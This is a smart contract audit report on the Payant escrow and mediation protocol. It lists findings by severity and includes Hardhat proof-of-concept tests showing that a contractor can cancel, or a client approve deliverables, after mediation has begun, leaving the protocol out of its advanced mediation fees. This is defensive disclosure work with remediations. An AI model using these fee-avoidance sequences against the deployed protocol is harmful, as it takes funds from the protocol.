Detectbox Audit Reports
Payant Security Audit Report
Findings

FINDINGS

Detailed Summary of Findings

Sl No.NameSeverity
1.Contractor can cancel the contract after mediation has been started leading to fund loss for Protocol.High
2.Client can approve the Deliverables after mediation has been started leading to the fund loss for Protocol.High
3.Use the latest version of open zeppelin librariesLow
4.Missing NatspecLow
5.Incomplete DocumentationLow
6.Multiple typos in the Payant contractsInformational
7.Removal of Commented-Out Code for Better Code QualityInformational
8.Using unnamed mappingsInformational
9.Event is not properly IndexedInformational

Static Analysis

No major issues were found. Some false positive errors were reported by the tool. All the other issues have been categorized above according to their level of severity.

Manual Review

High Severity Issues

H-01. Contractor can cancel the contract after mediation has been started leading to fund loss for Protocol.

The Payant contract allows the contractor to cancel the contract after the mediation process has been started. This can be exploited by the contractor to avoid paying the mediation fees, which are paid by the payant protocol in advance.

How does the Mediation Process work?

According to the Project, There’s a fee related to mediation that Payant will pay in advance. However, when the result of the dispute is implemented, Payant will take out the cut of the fee with no additional charge. Example: Invoice is $1000, the fee is $100. Side A wins and can claim the full amount. We will send $900 to side A and $100 to the wallet managing the Kleros integration

Impact:

If this vulnerability is exploited, the payant protocol could lose the mediation fees that were paid in advance. This could have a significant financial impact on the protocol.

Instances:

: ensure(equal-to(signer contractor)),
: ensure(equal-to(signedcontexthash datahash)),
: ensure(equal-to(context-column-hash<1>() datahash)),
: ensure(equal-to(operation cancel-operation)),
: ensure(is-zero(get(one))),

Proof of Concept with Test-Cases:

  • A client and a contractor enter into a contract.
  • The contract includes a mediation clause that allows the parties to resolve disputes through mediation.
  • The payant protocol pays the mediation fees in advance.
  • The mediation process has been started.
  • After some mutual agreement between both parties, the contractor cancels the contract.
  • The client receives the full amount of the contract without paying the mediation fees and the payant lost the mediation fees paid in advanced.
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
import {
  EvaluableStructOutput,
  FlowInitializedEvent,
} from "../typechain/contracts/flow/FlowCommon";
import { Flow, ReserveToken18 } from "../typechain";
import { ethers } from "hardhat";
import { RESERVE_ONE, assertError, basicDeploy, getEvents } from "../utils";
import { arrayify, keccak256, solidityKeccak256 } from "ethers/lib/utils";
import {
  ADD_DELIVERABLE_OPERATION,
  APPROVE_DELIVERABLE_OPERATION,
  D7,
  CANCEL_OPERATION,
  START_MEDIATION_OPERATION,
  createFlowConfig,
} from "./utils";
import { deployFlowClone } from "../utils/deploy/flow/basic/deploy";
import { cloneFactory, implementation } from "./deploy.test";
import assert from "assert";
import { SignedContextV1Struct } from "../typechain/contracts/lobby/Lobby";

describe("start Mediation test", () => {
  let signers: SignerWithAddress[];
  let deployer: SignerWithAddress;
  let client: SignerWithAddress; // caller
  let contractor: SignerWithAddress; // caller
  let erc20: ReserveToken18;
  let flowContract: Flow;
  let endDate: number;
  let invoiceDataHash: string;
  let dispatchCancel: EvaluableStructOutput,
    dispatchClientWithdraw: EvaluableStructOutput,
    dispatchContractorWithdraw: EvaluableStructOutput,
    dispatchAddDeliverables: EvaluableStructOutput,
    dispatchApproveDeliverables: EvaluableStructOutput,
    dispatchFeedbackDeliverables: EvaluableStructOutput,
    dispatchStartMediation: EvaluableStructOutput,
    dispatchClientMediationWithdraw: EvaluableStructOutput,
    dispatchContractorMediationWithdraw: EvaluableStructOutput,
    dispatchMediationResult: EvaluableStructOutput;

  beforeEach(async () => {
    signers = await ethers.getSigners();
    deployer = signers[0];
    client = signers[1];
    contractor = signers[2];

    erc20 = (await basicDeploy("ReserveToken18", {})) as ReserveToken18;
    await erc20.initialize();

    endDate = Date.now();

    invoiceDataHash = solidityKeccak256(
      ["uint256[]"],
      [[client.address, contractor.address, RESERVE_ONE, endDate]]
    );

    const flowConfig = await createFlowConfig(
      erc20.address,
      invoiceDataHash,
      endDate,
      D7,
      deployer.address
    );

    const { flow } = await deployFlowClone(
      deployer,
      cloneFactory,
      implementation,
      flowConfig
    );

    const flowInitialized = (await getEvents(
      flow.deployTransaction,
      "FlowInitialized",
      flow
    )) as FlowInitializedEvent["args"][];

    flowContract = flow;
    dispatchCancel = flowInitialized[0].evaluable;
    dispatchClientWithdraw = flowInitialized[1].evaluable;
    dispatchContractorWithdraw = flowInitialized[2].evaluable;
    dispatchAddDeliverables = flowInitialized[3].evaluable;
    dispatchApproveDeliverables = flowInitialized[4].evaluable;
    dispatchFeedbackDeliverables = flowInitialized[5].evaluable;
    dispatchStartMediation = flowInitialized[6].evaluable;
    dispatchClientMediationWithdraw = flowInitialized[7].evaluable;
    dispatchContractorMediationWithdraw = flowInitialized[8].evaluable;
    dispatchMediationResult = flowInitialized[9].evaluable;
  });

  it.only("contractor should be able to cancel the contract after starting mediation", async () => {
    await erc20.transfer(flowContract.address, RESERVE_ONE);

    assert.deepEqual(await erc20.balanceOf(flowContract.address), RESERVE_ONE);

    const context = [client.address, contractor.address, RESERVE_ONE, endDate];

    const addDeliverableContext = [
      invoiceDataHash,
      ADD_DELIVERABLE_OPERATION,
      ethers.BigNumber.from(
        keccak256([
          ...Buffer.from(
            "https://emn178.github.io/online-tools/keccak_256.html"
          ),
        ])
      ),
    ];

    const addDeliverableHash = solidityKeccak256(["uint256[]"], [addDeliverableContext]);
    const addDeliverableSignature = await contractor.signMessage(arrayify(addDeliverableHash));
    const addDeliverableSignedContext: SignedContextV1Struct[] = [
      {
        signature: addDeliverableSignature,
        signer: contractor.address,
        context: addDeliverableContext,
      },
    ];
    await flowContract
      .connect(contractor)
      .flow(dispatchAddDeliverables, context, addDeliverableSignedContext);
      console.log("The contractor added the Deliverables");


    const startMediationcontext = [invoiceDataHash, START_MEDIATION_OPERATION];

    const startMediationhash = solidityKeccak256(["uint256[]"], [startMediationcontext]);
    const startMediationSignature = client.signMessage(arrayify(startMediationhash));
    const startMediationsignedContext: SignedContextV1Struct[] = [
      {
        signature: startMediationSignature,
        signer: client.address,
        context: startMediationcontext,
      },
    ];

    await flowContract
      .connect(client)
      .flow(dispatchStartMediation, context, startMediationsignedContext);
      console.log("Client Started Mediation");

    const cancelContext = [invoiceDataHash, CANCEL_OPERATION];
    const cancelHash = solidityKeccak256(["uint256[]"], [cancelContext]);
    const cancelSignature = await contractor.signMessage(arrayify(cancelHash));
    const cancelSignedContext: SignedContextV1Struct[] = [
      {
        signature: cancelSignature,
        signer: contractor.address,
        context: cancelContext,
      },
    ];
    await flowContract
      .connect(contractor)
      .flow(dispatchCancel, context, cancelSignedContext);
      console.log("The contractor cancelled the contract");

      const client_balance = await erc20.balanceOf(client.address);
      console.log("Balance of Client:", client_balance);

      const flow_contract_balance = await erc20.balanceOf(flowContract.address);
      console.log("Balance of flow contract:", flow_contract_balance);

    assert.deepEqual(await erc20.balanceOf(client.address), RESERVE_ONE);

  });
});

Recommended Mitigation Steps:

The protocol should add a check to make sure that the mediation process has not been started before allowing the contractor to cancel the contract.

H-02. Client can approve the Deliverables after mediation has been started leading to the fund loss for Protocol.

The Vulnerability:

The Payant contract allows the client to approve deliverables to the contractor after the mediation process has been started. This can be exploited by the client to avoid paying the mediation fees, which are paid by the payant protocol in advance.

How does the Mediation Process work?

According to the Project, There’s a fee related to mediation that Payant will pay in advance. However, when the result of the dispute is implemented, Payant will take out the cut of the fee with no additional charge. Example: Invoice is $1000, the fee is $100. Side A wins and can claim the full amount. We will send $900 to side A and $100 to the wallet managing the Kleros integration

Impact:

If this vulnerability is exploited, the payant protocol could lose the mediation fees that were paid in advance. This could have a significant financial impact on the protocol.

Code Snippet:

There is no check for if the mediation process has been started. approveDeliverables.template.rain#L24-L30 (opens in a new tab)

: ensure(is-zero(get(one))), /** Ensure contract is not setteled */
: ensure(get(deliverables-flag)), /** Ensure deliverables are added */
: ensure(equal-to(client signer)), /** Ensure client is calling the function*/
: ensure(equal-to(datahash signedcontexthash)), /** Ensure contract is for same invoice using datahash */
: ensure(equal-to(signedcontexthash context-column-hash<1>())), /** Ensure signedContext is same as callerContext */
: ensure(equal-to(operationhash approve-deliverable-operation)), /** Script only for approve delivrables */

Proof of Concept (with Test case):

  • A client and a contractor enter into a contract.
  • The contract includes a mediation clause that allows the parties to resolve disputes through mediation.
  • The payant protocol pays the mediation fees in advance.
  • The mediation process has been started.
  • After some mutual agreement between both parties, the client approves the deliverables of Contractor.
  • The contractor receives the full amount of the contract without paying the mediation fees and the payant lost the mediation fees paid in advanced.
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
import {
  EvaluableStructOutput,
  FlowInitializedEvent,
} from "../typechain/contracts/flow/FlowCommon";
import { Flow, ReserveToken18 } from "../typechain";
import { ethers } from "hardhat";
import { RESERVE_ONE, assertError, basicDeploy, getEvents } from "../utils";
import { arrayify, keccak256, solidityKeccak256 } from "ethers/lib/utils";
import {
  ADD_DELIVERABLE_OPERATION,
  D7,
  CANCEL_OPERATION,
  START_MEDIATION_OPERATION,
  APPROVE_DELIVERABLE_OPERATION,
  MEDIATION_RESULT_OPERATION,
  createFlowConfig,
} from "./utils";
import { deployFlowClone } from "../utils/deploy/flow/basic/deploy";
import { cloneFactory, implementation } from "./deploy.test";
import assert from "assert";
import { SignedContextV1Struct } from "../typechain/contracts/lobby/Lobby";

describe("start Mediation test", () => {
  let signers: SignerWithAddress[];
  let deployer: SignerWithAddress;
  let client: SignerWithAddress; // caller
  let contractor: SignerWithAddress; // caller
  let erc20: ReserveToken18;
  let flowContract: Flow;
  let endDate: number;
  let invoiceDataHash: string;
  let dispatchCancel: EvaluableStructOutput,
    dispatchClientWithdraw: EvaluableStructOutput,
    dispatchContractorWithdraw: EvaluableStructOutput,
    dispatchAddDeliverables: EvaluableStructOutput,
    dispatchApproveDeliverables: EvaluableStructOutput,
    dispatchFeedbackDeliverables: EvaluableStructOutput,
    dispatchStartMediation: EvaluableStructOutput,
    dispatchClientMediationWithdraw: EvaluableStructOutput,
    dispatchContractorMediationWithdraw: EvaluableStructOutput,
    dispatchMediationResult: EvaluableStructOutput;

  beforeEach(async () => {
    signers = await ethers.getSigners();
    deployer = signers[0];
    client = signers[1];
    contractor = signers[2];

    erc20 = (await basicDeploy("ReserveToken18", {})) as ReserveToken18;
    await erc20.initialize();

    endDate = Date.now();

    invoiceDataHash = solidityKeccak256(
      ["uint256[]"],
      [[client.address, contractor.address, RESERVE_ONE, endDate]]
    );

    const flowConfig = await createFlowConfig(
      erc20.address,
      invoiceDataHash,
      endDate,
      D7,
      deployer.address
    );

    const { flow } = await deployFlowClone(
      deployer,
      cloneFactory,
      implementation,
      flowConfig
    );

    const flowInitialized = (await getEvents(
      flow.deployTransaction,
      "FlowInitialized",
      flow
    )) as FlowInitializedEvent["args"][];

    flowContract = flow;
    dispatchCancel = flowInitialized[0].evaluable;
    dispatchClientWithdraw = flowInitialized[1].evaluable;
    dispatchContractorWithdraw = flowInitialized[2].evaluable;
    dispatchAddDeliverables = flowInitialized[3].evaluable;
    dispatchApproveDeliverables = flowInitialized[4].evaluable;
    dispatchFeedbackDeliverables = flowInitialized[5].evaluable;
    dispatchStartMediation = flowInitialized[6].evaluable;
    dispatchClientMediationWithdraw = flowInitialized[7].evaluable;
    dispatchContractorMediationWithdraw = flowInitialized[8].evaluable;
    dispatchMediationResult = flowInitialized[9].evaluable;
  });

  it.only("client should be able to approve the contractor after starting mediation", async () => {
    await erc20.transfer(flowContract.address, RESERVE_ONE);

    assert.deepEqual(await erc20.balanceOf(flowContract.address), RESERVE_ONE);

    const context = [client.address, contractor.address, RESERVE_ONE, endDate];

    const addDeliverableContext = [
      invoiceDataHash,
      ADD_DELIVERABLE_OPERATION,
      ethers.BigNumber.from(
        keccak256([
          ...Buffer.from(
            "https://emn178.github.io/online-tools/keccak_256.html"
          ),
        ])
      ),
    ];

    const addDeliverableHash = solidityKeccak256(["uint256[]"], [addDeliverableContext]);
    const addDeliverableSignature = await contractor.signMessage(arrayify(addDeliverableHash));
    const addDeliverableSignedContext: SignedContextV1Struct[] = [
      {
        signature: addDeliverableSignature,
        signer: contractor.address,
        context: addDeliverableContext,
      },
    ];
    await flowContract
      .connect(contractor)
      .flow(dispatchAddDeliverables, context, addDeliverableSignedContext);
      console.log("The contractor added the Deliverables");


    const startMediationcontext = [invoiceDataHash, START_MEDIATION_OPERATION];

    const startMediationhash = solidityKeccak256(["uint256[]"], [startMediationcontext]);
    const startMediationSignature = client.signMessage(arrayify(startMediationhash));
    const startMediationsignedContext: SignedContextV1Struct[] = [
      {
        signature: startMediationSignature,
        signer: client.address,
        context: startMediationcontext,
      },
    ];

    await flowContract
      .connect(client)
      .flow(dispatchStartMediation, context, startMediationsignedContext);
      console.log("Client Started Mediation");


    const approveDeliverableContext = [
      invoiceDataHash,
      APPROVE_DELIVERABLE_OPERATION,
      ethers.BigNumber.from(
        keccak256([
          ...Buffer.from(
            "https://emn178.github.io/online-tools/keccak_256.html"
          ),
        ])
      ),
    ];

    const approveDeliverableHash = solidityKeccak256(
      ["uint256[]"],
      [approveDeliverableContext]
    );
    const approveDeliverableSignature = client.signMessage(
      arrayify(approveDeliverableHash)
    );
    const approveDeliverableSignedContext: SignedContextV1Struct[] = [
      {
        signature: approveDeliverableSignature,
        signer: client.address,
        context: approveDeliverableContext,
      },
    ];

    await flowContract
      .connect(client)
      .flow(
        dispatchApproveDeliverables,
        context,
        approveDeliverableSignedContext
      );
      console.log("The client approved the Deliverables");

      const flow_contract_balance = await erc20.balanceOf(flowContract.address);
      console.log("Balance of Flow Contract:", flow_contract_balance);

      const contractor_balance = await erc20.balanceOf(contractor.address);
      console.log("Balance of Contractor:", contractor_balance);

    assert.deepEqual(await erc20.balanceOf(contractor.address), RESERVE_ONE);

  });
});

Remediation:

The protocol should add a check to make sure that the mediation process has not been started before allowing the client to approve the deliverables.

Low Severity Issues

L-01. Use the latest version of open zeppelin libraries

The contract is using an outdated version of the OpenZeppelin (OZ) libraries. The latest version is 4.9.2, while the contract is using 0.8.3.

The latest release usually contains a fix for lots of vulnerabilities and is a lot more optimized. Check out here (opens in a new tab) for more details.

Impact:

Using an outdated version of the OZ libraries can increase the risk of vulnerabilities in the contract. The latest release of the OZ libraries usually contains fixes for known vulnerabilities, as well as performance improvements.

Instances: package.json#L56-L57 (opens in a new tab)

"@openzeppelin/contracts-upgradeable": "=4.8.3",

Recommended Mitigation Steps:

The contract should be upgraded to the latest version of the OZ libraries. This can be done by updating the @openzeppelin/contracts-upgradeable dependency in the package.json file.

L-02. Missing Natspec

Solidity contracts can use a special form of comments to provide rich documentation for functions, return variables and more. This special form is named the Ethereum Natural Language Specification Format (NatSpec).

There are multiple functions in a few smart contracts in scope that lack NatSpec comments, which are essential for providing clear and comprehensive documentation for functions, return variables, and other contract elements.

Proof of Concept: The following smart contracts in scope lack NatSpec comments in multiple functions:

CloneFactory.sol#L16 (opens in a new tab)

Flow.sol#L31 (opens in a new tab)

FlowERC721.sol#L139 (opens in a new tab)

OpEnsure.sol#L23 (opens in a new tab)

Recommended Steps:

Although it's Optional, To enhance the quality and usability of the smart contracts, it is strongly recommended to add NatSpec comments to various parts of the code.

L-03. Incomplete Documentation

The README.md file in the Payant GitHub repo contains incomplete documentation for the following:

  • Mediation process
  • Client Feedback process
  • Many other details of the functionalities
  • The markdown is not properly rendered
  • The documentation is not in proper format
  • There are many spelling mistakes

Impact:

Without proper documentation, it will be difficult for users or developers to understand the contract's intentions, leading to mistakes, bugs, and security vulnerabilities during maintenance or updates.

Proof of Concept:

https://github.com/Payant/payant/blob/751e1d24419eb8ebaab7f66615a5a7705ef75fb3/README.md#L1-L2 (opens in a new tab)

Recommended Mitigation Steps:

  • An overview of each functionality
  • A detailed explanation of the mediation process and feedback process, including the steps involved and the actors involved.
  • A list of all the functionalities that are not documented, along with a brief explanation of each functionality
  • The markdown is not properly reendered. Need to Fix that.
  • Add a section for actors involved like contractors, clients, and mediators.
  • Check for all spelling mistakes and fix it.

Informational Issues

I-01. Multiple typos in the Payant contracts

There are multiple places in contracts and scripts where there is a typing mistake. The typos should be corrected.

Proof of Concept: In the [approveDeliverables.template.rain](https://github.com/Payant/payant/blob/751e1d24419eb8ebaab7f66615a5a7705ef75fb3/rainScripts/approveDeliverables.template.rain#L29-L30) script, the word "deliverables" is misspelled as "delivrables".

: ensure(equal-to(operationhash approve-deliverable-operation)), /** Script only for approve delivrables */

In the [cancelMediation.test.ts](https://github.com/Payant/payant/blob/751e1d24419eb8ebaab7f66615a5a7705ef75fb3/test/cancelMediation.test.ts#L309-L310) test file, the word "already" is misspelled as "alredy" and canceled is misspelled as “canceld”

it("should fail to cancel mediation if alredy canceld or not started", async () => {

In the README file, there are several typos. Check it out in the below link:

https://github.com/Payant/payant/blob/751e1d24419eb8ebaab7f66615a5a7705ef75fb3/README.md (opens in a new tab)

I-02. Removal of Commented-Out Code for Better Code Quality

The approveDeliverables.template.rain script contains lines of code that are commented out but serve no purpose. Commented-out code segments do not contribute to the functionality of the contracts but can clutter the codebase, making it harder for developers to understand the actual logic of the contracts.

Proof of Concept:

[approveDeliverables.template.rain](https://github.com/Payant/payant/blob/751e1d24419eb8ebaab7f66615a5a7705ef75fb3/rainScripts/approveDeliverables.template.rain#L22-L23)

/* signedfeedbackhash: context<3 2>(), * keccak256 hash of deliverables */

I-03. Using unnamed mappings

The contracts use unnamed mappings, which can make it difficult to understand the purpose of each mapping. Consider using named mappings (opens in a new tab) to make it easier to understand the purpose of each mapping. This can make the code less readable and maintainable.

Proof of Concept:

 mapping(FullyQualifiedNamespace => mapping(uint256 => uint256))

I-04. Event is not properly Indexed

Multiple events in the RainInterpreterExpressionDeployer.sol contract are not indexed efficiently. Each event should use three indexed fields if there are three or more fields. This means that off-chain tools that parse events will have to scan more data to find the information they need.

Proof of Concept:

[RainterpreterExpressionDeployer.sol#L89](https://github.com/Payant/payant/blob/751e1d24419eb8ebaab7f66615a5a7705ef75fb3/contracts/interpreter/shared/RainterpreterExpressionDeployer.sol#L89).

event NewExpression(
        address sender,
        bytes[] sources,
        uint256[] constants,
        uint256[] minOutputs
    );

[RainterpreterExpressionDeployer.sol#L101](https://github.com/Payant/payant/blob/751e1d24419eb8ebaab7f66615a5a7705ef75fb3/contracts/interpreter/shared/RainterpreterExpressionDeployer.sol#L101)

event ExpressionAddress(address sender, address expression);
OverviewPost Audit Conclusion